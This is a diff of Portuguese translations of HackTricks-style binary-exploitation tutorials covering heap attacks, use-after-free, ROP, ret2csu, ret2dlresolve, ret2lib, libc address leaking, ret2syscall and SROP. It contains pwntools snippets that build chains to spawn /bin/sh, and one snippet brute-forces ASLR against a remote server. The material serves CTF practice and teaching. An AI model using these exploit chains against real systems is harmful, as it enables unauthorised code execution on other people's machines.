- Então, é possível chamar a função de edição com o índice 2 (o ponteiro usado após a liberação) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Em seguida, criar um novo chunk usará o endereço livre anteriormente comprometido (0x20) que **acionará o ataque de unsorted bin**, sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins.
- Em seguida, a função **`view`** é chamada com o índice 2 (que é o índice do chunk usado após a liberação), o que **vazará um endereço da libc**.
- Como o binário tem proteções para alocar apenas tamanhos maiores que **`global_max_fast`**, então nenhum fastbin é usado, um ataque de unsorted bin será usado para sobrescrever a variável global `global_max_fast`.
- Em seguida, é possível chamar a função de edição com o índice 2 (o ponteiro usado após a liberação) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criar um novo chunk usará o endereço livre anteriormente comprometido (0x20) que **acionará o ataque de unsorted bin**, sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins.
- Agora um **ataque de fast bin** é realizado:
- Primeiro de tudo, descobre-se que é possível trabalhar com fast **chunks de tamanho 200** na localização de **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
@ -61,7 +61,7 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
- Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
- Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
- Em seguida, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função anterior **`__free_hook`**.
- Então, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, de modo que outro chunk de tamanho `0x1f8` seja criado para obter um chunk de fast bin na **`__free_hook`**, que é sobrescrito com o endereço da função **`system`**.
- Então, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk de fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
- E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Outro exemplo de abuso de um overflow de 1B para consolidar chunks no unsorted bin e obter um vazamento de informações da libc e, em seguida, realizar um ataque de fast bin para sobrescrever o malloc hook com um endereço de one gadget.

10
src/binary-exploitation/libc-heap/use-after-free/README.md
View File

@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## Informações Básicas
## Basic Information
Como o nome sugere, essa vulnerabilidade ocorre quando um programa **armazena algum espaço** no heap para um objeto, **escreve** algumas informações lá, **libera** aparentemente porque não é mais necessário e então **acessa novamente**.
Como o nome implica, essa vulnerabilidade ocorre quando um programa **armazena algum espaço** no heap para um objeto, **escreve** algumas informações lá, **libera** aparentemente porque não é mais necessário e então **acessa novamente**.
O problema aqui é que não é ilegal (não **haverá erros**) quando uma **memória liberada é acessada**. Assim, se o programa (ou o atacante) conseguir **alocar a memória liberada e armazenar dados arbitrários**, quando a memória liberada for acessada a partir do ponteiro inicial, **esses dados teriam sido sobrescritos**, causando uma **vulnerabilidade que dependerá da sensibilidade dos dados** que foram armazenados originalmente (se era um ponteiro de uma função que seria chamada, um atacante poderia saber controlá-lo).
O problema aqui é que não é ilegal (não **haverá erros**) quando uma **memória liberada é acessada**. Assim, se o programa (ou o atacante) conseguir **alocar a memória liberada e armazenar dados arbitrários**, quando a memória liberada for acessada a partir do ponteiro inicial, **esses dados teriam sido sobrescritos**, causando uma **vulnerabilidade que dependerá da sensibilidade dos dados** que foram armazenados originalmente (se era um ponteiro de uma função que seria chamada, um atacante poderia saber controlá-la).
### Ataque First Fit
### First Fit attack
Um ataque first fit visa a forma como alguns alocadores de memória, como no glibc, gerenciam a memória liberada. Quando você libera um bloco de memória, ele é adicionado a uma lista, e novos pedidos de memória puxam dessa lista a partir do final. Atacantes podem usar esse comportamento para manipular **quais blocos de memória são reutilizados, potencialmente ganhando controle sobre eles**. Isso pode levar a problemas de "use-after-free", onde um atacante poderia **mudar o conteúdo da memória que é realocada**, criando um risco de segurança.\
Um ataque de first fit visa a forma como alguns alocadores de memória, como no glibc, gerenciam a memória liberada. Quando você libera um bloco de memória, ele é adicionado a uma lista, e novos pedidos de memória puxam dessa lista a partir do final. Os atacantes podem usar esse comportamento para manipular **quais blocos de memória são reutilizados, potencialmente ganhando controle sobre eles**. Isso pode levar a problemas de "use-after-free", onde um atacante poderia **mudar o conteúdo da memória que é realocada**, criando um risco de segurança.\
Confira mais informações em:
{{#ref}}

30
src/binary-exploitation/rop-return-oriented-programing/README.md
View File

@ -4,11 +4,11 @@
## **Informações Básicas**
**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, efetivamente contornando as proteções NX/DEP.
**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Prevenção de Execução de Dados (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, efetivamente contornando as proteções NX/DEP.
### Como o ROP Funciona
1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um buffer overflow para sobrescrever um endereço de retorno salvo na pilha.
1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um estouro de buffer para sobrescrever um endereço de retorno salvo na pilha.
2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver configurar argumentos para uma chamada de função, chamar a função (por exemplo, `system("/bin/sh")`), e lidar com qualquer limpeza ou operações adicionais necessárias.
3. **Execução do Payload**: Quando a função vulnerável retorna, em vez de retornar a um local legítimo, começa a executar a cadeia de gadgets.
@ -18,16 +18,16 @@ Normalmente, gadgets podem ser encontrados usando [**ROPgadget**](https://github
## Exemplo de Cadeia ROP em x86
### **Convenções de Chamada x86 (32-bit)**
### **Convenções de Chamada x86 (32 bits)**
- **cdecl**: O chamador limpa a pilha. Os argumentos da função são empilhados na pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empilhados da direita para a esquerda.**
- **cdecl**: O chamador limpa a pilha. Os argumentos da função são empurrados para a pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empurrados para a pilha da direita para a esquerda.**
- **stdcall**: Semelhante ao cdecl, mas o chamado é responsável por limpar a pilha.
### **Encontrando Gadgets**
Primeiro, vamos supor que identificamos os gadgets necessários dentro do binário ou suas bibliotecas carregadas. Os gadgets que nos interessam são:
- `pop eax; ret`: Este gadget remove o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo-nos controlar `EAX`.
- `pop eax; ret`: Este gadget retira o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo-nos controlar `EAX`.
- `pop ebx; ret`: Semelhante ao acima, mas para o registrador `EBX`, permitindo controle sobre `EBX`.
- `mov [ebx], eax; ret`: Move o valor em `EAX` para o local de memória apontado por `EBX` e então retorna. Isso é frequentemente chamado de **gadget write-what-where**.
- Além disso, temos o endereço da função `system()` disponível.
@ -73,9 +73,9 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
## Cadeia ROP em x64 Exemplo
## ROP Chain em x64 Exemplo
### **x64 (64 bits) Convenções de chamada**
### **x64 (64-bit) Convenções de chamada**
- Usa a convenção de chamada **System V AMD64 ABI** em sistemas semelhantes ao Unix, onde os **seis primeiros argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
- A convenção de chamada **Windows x64** usa `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`.
@ -90,9 +90,9 @@ Para nosso propósito, vamos nos concentrar em gadgets que nos permitirão defin
E sabemos o endereço da função **system()**.
### **Cadeia ROP**
### **ROP Chain**
Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP visando executar **system('/bin/sh')** em **x64**:
Abaixo está um exemplo usando **pwntools** para configurar e executar uma ROP chain visando executar **system('/bin/sh')** em **x64**:
```python
from pwn import *
@ -135,7 +135,7 @@ Neste exemplo:
### Alinhamento da Pilha
**O ABI x86-64** garante que a **pilha esteja alinhada em 16 bytes** quando uma **instrução de chamada** é executada. **LIBC**, para otimizar o desempenho, **usa instruções SSE** (como **movaps**) que requerem esse alinhamento. Se a pilha não estiver alinhada corretamente (significando que **RSP** não é um múltiplo de 16), chamadas para funções como **system** falharão em uma **cadeia ROP**. Para corrigir isso, basta adicionar um **gadget ret** antes de chamar **system** em sua cadeia ROP.
**O x86-64 ABI** garante que a **pilha esteja alinhada em 16 bytes** quando uma **instrução de chamada** é executada. **LIBC**, para otimizar o desempenho, **usa instruções SSE** (como **movaps**) que requerem esse alinhamento. Se a pilha não estiver alinhada corretamente (significando que **RSP** não é um múltiplo de 16), chamadas para funções como **system** falharão em uma **cadeia ROP**. Para corrigir isso, basta adicionar um **gadget ret** antes de chamar **system** em sua cadeia ROP.
## Principal diferença entre x86 e x64
@ -144,7 +144,7 @@ Neste exemplo:
## Exemplo de cadeia ROP em ARM64
### **Fundamentos do ARM64 & Convenções de Chamada**
### **Conceitos Básicos de ARM64 & Convenções de Chamada**
Verifique a página a seguir para essas informações:
@ -160,15 +160,15 @@ Verifique a página a seguir para essas informações:
## Técnicas baseadas em ROP
Observe que ROP é apenas uma técnica para executar código arbitrário. Baseado em ROP, muitas técnicas Ret2XXX foram desenvolvidas:
Observe que ROP é apenas uma técnica para executar código arbitrário. Com base em ROP, muitas técnicas Ret2XXX foram desenvolvidas:
- **Ret2lib**: Usa ROP para chamar funções arbitrárias de uma biblioteca carregada com parâmetros arbitrários (geralmente algo como `system('/bin/sh')`.
- **Ret2lib**: Usa ROP para chamar funções arbitrárias de uma biblioteca carregada com parâmetros arbitrários (geralmente algo como `system('/bin/sh')`).
{{#ref}}
ret2lib/
{{#endref}}
- **Ret2Syscall**: Usa ROP para preparar uma chamada a uma syscall, por exemplo, `execve`, e fazer com que execute comandos arbitrários.
- **Ret2Syscall**: Usa ROP para preparar uma chamada a uma syscall, por exemplo, `execve`, e fazê-la executar comandos arbitrários.
{{#ref}}
rop-syscall-execv/
@ -184,7 +184,7 @@ rop-syscall-execv/
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bits, Pie e nx habilitados, sem canário, sobrescrever RIP com um endereço `vsyscall` com o único propósito de retornar ao próximo endereço na pilha, que será uma sobrescrição parcial do endereço para obter a parte da função que vaza a flag.
- 64 bits, Pie e nx habilitados, sem canário, sobrescrever RIP com um endereço `vsyscall` com o único propósito de retornar ao próximo endereço na pilha, que será uma sobrescrita parcial do endereço para obter a parte da função que vaza a flag.
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, sem ASLR, gadget ROP para tornar a pilha executável e pular para shellcode na pilha.

4
src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
View File

@ -8,7 +8,7 @@
**ret2csu** é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os **gadgets** que normalmente usa para manipular o comportamento do programa.
Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções integradas para gerenciar como diferentes partes do programa se comunicam. Entre essas funções, existem algumas joias ocultas que podem agir como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções embutidas para gerenciar como diferentes partes do programa se comunicam. Entre essas funções, existem algumas joias ocultas que podem agir como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
### Os Gadgets Mágicos em \_\_libc_csu_init
@ -81,7 +81,7 @@ brop-blind-return-oriented-programming.md
Imagine que você deseja fazer uma syscall ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.
É aqui que o **ret2csu** entra em cena:
É aqui que **ret2csu** entra em cena:
1. **Configurar os Registradores**: Use o primeiro gadget mágico para retirar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
2. **Usar o Segundo Gadget**: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova os valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, ao controlar `r15` e `rbx`, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em `[r15 + rbx*8]`.

7
src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
View File

@ -6,7 +6,7 @@
Como explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que forem usados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**.
A função **`_dl_runtime_resolve`** recebe da pilha referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
A função **`_dl_runtime_resolve`** pega do stack referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
Portanto, é possível **falsificar todas essas estruturas** para fazer a resolução dinâmica do símbolo solicitado (como a função **`system`**) e chamá-la com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**).
@ -15,13 +15,14 @@ Geralmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP in
> [!TIP]
> Esta técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/index.html) ou [SROP](srop-sigreturn-oriented-programming/index.html)) e não houver maneiras de vazar endereços da libc.
Veja este vídeo para uma boa explicação sobre esta técnica na segunda metade do vídeo:
Chek this video for a nice explanation about this technique in the second half of the video:
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
Ou confira estas páginas para uma explicação passo a passo:
Or check these pages for a step-by-step explanation:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)

11
src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
View File

@ -39,7 +39,7 @@ find "/bin/sh"
```
### Usando /proc/\<PID>/maps
Se o processo está criando **filhos** toda vez que você fala com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).
Se o processo está criando **filhos** toda vez que você interage com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).
Aqui você pode encontrar **exatamente onde a libc está carregada** dentro do processo e **onde será carregada** para cada filho do processo.
@ -73,7 +73,7 @@ Esses ataques de força bruta são **úteis apenas para sistemas de 32 bits**.
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função.
- Se você estiver atacando um servidor remoto, pode tentar **forçar o endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função.
## One Gadget
@ -85,7 +85,7 @@ one-gadget.md
## Exemplo de Código x86 Ret2lib
Neste exemplo, a força bruta do ASLR está integrada no código e o binário vulnerável está localizado em um servidor remoto:
Neste exemplo, a força bruta de ASLR está integrada no código e o binário vulnerável está localizado em um servidor remoto:
```python
from pwn import *
@ -105,6 +105,7 @@ c.interactive()
Verifique o exemplo de:
{{#ref}}
../
{{#endref}}
@ -117,6 +118,7 @@ Além disso, no ARM64, uma instrução faz o que a instrução faz (não é poss
Verifique o exemplo de:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
@ -129,6 +131,7 @@ Isso permite **vazar informações do processo** chamando `printf`/`puts` com al
Isso basicamente significa abusar de um **Ret2lib para transformá-lo em uma vulnerabilidade de strings de formato `printf`** usando o `ret2lib` para chamar printf com os valores para explorá-lo (parece inútil, mas é possível):
{{#ref}}
../../format-strings/
{{#endref}}
@ -140,7 +143,7 @@ Isso basicamente significa abusar de um **Ret2lib para transformá-lo em uma vul
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts para vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR habilitado, sem canário, overflow de pilha na função principal de uma função filha. Gadget ROP para chamar puts para vazar o endereço de puts do GOT e então chamar um gadget.
- 64 bits, ASLR habilitado, sem canário, overflow de pilha em main a partir de uma função filha. Gadget ROP para chamar puts para vazar o endereço de puts do GOT e então chamar um gadget.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)

16
src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
View File

@ -5,8 +5,8 @@
## Resumo Rápido
1. **Encontrar** o **offset** de overflow
2. **Encontrar** o gadget `POP_RDI`, os gadgets `PUTS_PLT` e `MAIN`
3. Usar os gadgets anteriores para **vazar o endereço de memória** do puts ou de outra função da libc e **encontrar a versão da libc** ([donwload it](https://libc.blukat.me))
2. **Encontrar** gadget `POP_RDI`, gadgets `PUTS_PLT` e `MAIN`
3. Usar gadgets anteriores para **vazar o endereço de memória** de puts ou outra função da libc e **encontrar a versão da libc** ([donwload it](https://libc.blukat.me))
4. Com a biblioteca, **calcular o ROP e explorá-lo**
## Outros tutoriais e binários para praticar
@ -32,17 +32,18 @@ return 0;
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Leaking LIBC template
## ROP - Modelo de vazamento de LIBC
Baixe o exploit e coloque-o no mesmo diretório que o binário vulnerável e forneça os dados necessários para o script:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## 1- Encontrando o offset
O template precisa de um offset antes de continuar com o exploit. Se algum for fornecido, ele executará o código necessário para encontrá-lo (por padrão `OFFSET = ""`):
O modelo precisa de um offset antes de continuar com o exploit. Se algum for fornecido, ele executará o código necessário para encontrá-lo (por padrão `OFFSET = ""`):
```bash
###################
### Find offset ###
@ -71,7 +72,7 @@ Outra maneira seria usar: `pattern create 1000` -- _execute until ret_ -- `patte
## 2- Encontrando Gadgets
Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar `puts` para encontrar a **libc** sendo usada e, posteriormente, para **lançar o exploit final**.
Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar `puts` para encontrar a **libc** sendo usada, e depois para **lançar o exploit final**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -90,7 +91,7 @@ Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo p
## 3- Encontrando a biblioteca libc
Agora é hora de descobrir qual versão da biblioteca **libc** está sendo usada. Para isso, vamos **vazar** o **endereço** na memória da **função** `puts` e então vamos **procurar** em qual **versão da biblioteca** a versão do puts está nesse endereço.
Agora é hora de descobrir qual versão da biblioteca **libc** está sendo usada. Para isso, vamos **vazar** o **endereço** na memória da **função** `puts` e, em seguida, vamos **procurar** em qual **versão da biblioteca** a versão do puts está nesse endereço.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@ -195,7 +196,7 @@ if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> [!TIP]
> Note que **o endereço base final da libc deve terminar em 00**. Se esse não for o seu caso, você pode ter vazado uma biblioteca incorreta.
Então, o endereço da função `system` e o **endereço** da string _"/bin/sh"_ serão **calculados** a partir do **endereço base** da **libc** e dada a **biblioteca libc.**
@ -239,6 +240,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
Você pode encontrar um modelo para explorar essa vulnerabilidade aqui:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}

7
src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
View File

@ -4,7 +4,7 @@
## Informações Básicas
Isso é semelhante ao Ret2lib, no entanto, neste caso, não estaremos chamando uma função de uma biblioteca. Neste caso, tudo será preparado para chamar a syscall `sys_execve` com alguns argumentos para executar `/bin/sh`. Esta técnica é geralmente realizada em binários que são compilados estaticamente, então pode haver muitos gadgets e instruções de syscall.
Isso é semelhante ao Ret2lib, no entanto, neste caso, não estaremos chamando uma função de uma biblioteca. Neste caso, tudo será preparado para chamar a syscall `sys_execve` com alguns argumentos para executar `/bin/sh`. Essa técnica é geralmente realizada em binários que são compilados estaticamente, então pode haver muitos gadgets e instruções de syscall.
Para preparar a chamada para a **syscall**, é necessária a seguinte configuração:
@ -18,7 +18,7 @@ Então, basicamente, é necessário escrever a string `/bin/sh` em algum lugar e
> [!TIP]
> Outra syscall interessante para chamar é **`mprotect`**, que permitiria a um atacante **modificar as permissões de uma página na memória**. Isso pode ser combinado com [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
## Gadgets de Registro
## Gadgets de Registradores
Vamos começar encontrando **como controlar esses registradores**:
```bash
@ -96,7 +96,8 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Gadgets Faltando
Se você está **faltando gadgets**, por exemplo, para escrever `/bin/sh` na memória, você pode usar a **técnica SROP para controlar todos os valores dos registradores** (incluindo RIP e registradores de parâmetros) a partir da pilha:
Se você está **sem gadgets**, por exemplo, para escrever `/bin/sh` na memória, você pode usar a **técnica SROP para controlar todos os valores dos registradores** (incluindo RIP e registradores de parâmetros) a partir da pilha:
{{#ref}}
../srop-sigreturn-oriented-programming/

6
src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
View File

@ -4,6 +4,7 @@
Encontre uma introdução ao arm64 em:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -12,6 +13,7 @@ Encontre uma introdução ao arm64 em:
Vamos usar o exemplo da página:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
@ -43,8 +45,8 @@ Para preparar a chamada para o **syscall**, é necessária a seguinte configura
- `x8: 221 Especificar sys_execve`
- `x0: ptr para "/bin/sh" especificar arquivo a ser executado`
- `x1: 0 especificar nenhum argumento passado`
- `x2: 0 especificar nenhuma variável de ambiente passada`
- `x1: 0 especificar que nenhum argumento foi passado`
- `x2: 0 especificar que nenhuma variável de ambiente foi passada`
Usando ROPgadget.py, consegui localizar os seguintes gadgets na biblioteca libc da máquina:
```armasm

10
src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
View File

@ -1,17 +1,17 @@
# SROP - Sigreturn-Oriented Programming
# SROP - Programação Orientada a Sigreturn
{{#include ../../../banners/hacktricks-training.md}}
## Informações Básicas
**`Sigreturn`** é uma **syscall** especial que é usada principalmente para limpar após a execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que uma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal com um **manipulador de sinal**, uma função especial projetada para lidar com sinais.
**`Sigreturn`** é uma **syscall** especial que é usada principalmente para limpar após a execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que uma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal usando um **manipulador de sinal**, uma função especial projetada para lidar com sinais.
Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que **`sigreturn`** entra em cena. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
> [!CAUTION]
> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionando os valores dos registradores** que gostaríamos que ele carregasse na **pilha** é possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionando os valores dos registradores** que gostaríamos que fossem carregados na **pilha** é possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
Note como isso seria um **tipo de Ret2syscall** que torna muito mais fácil controlar parâmetros para chamar outras Ret2syscalls:
@ -19,7 +19,7 @@ Note como isso seria um **tipo de Ret2syscall** que torna muito mais fácil cont
../rop-syscall-execv/
{{#endref}}
Se você está curioso, esta é a **estrutura sigcontext** armazenada na pilha para posteriormente recuperar os valores (diagrama de [**aqui**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
Se você está curioso, esta é a **estrutura sigcontext** armazenada na pilha para recuperar os valores posteriormente (diagrama de [**aqui**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -134,7 +134,7 @@ target.interactive()
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/index.html). A cadeia ROP escreve `/bin/sh` na `.bss` chamando `gets` novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` para o ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode irá escrevê-lo como a próxima instrução e executá-lo.
- Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` novamente para o ESP, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode ele será escrito como a próxima instrução e executado.
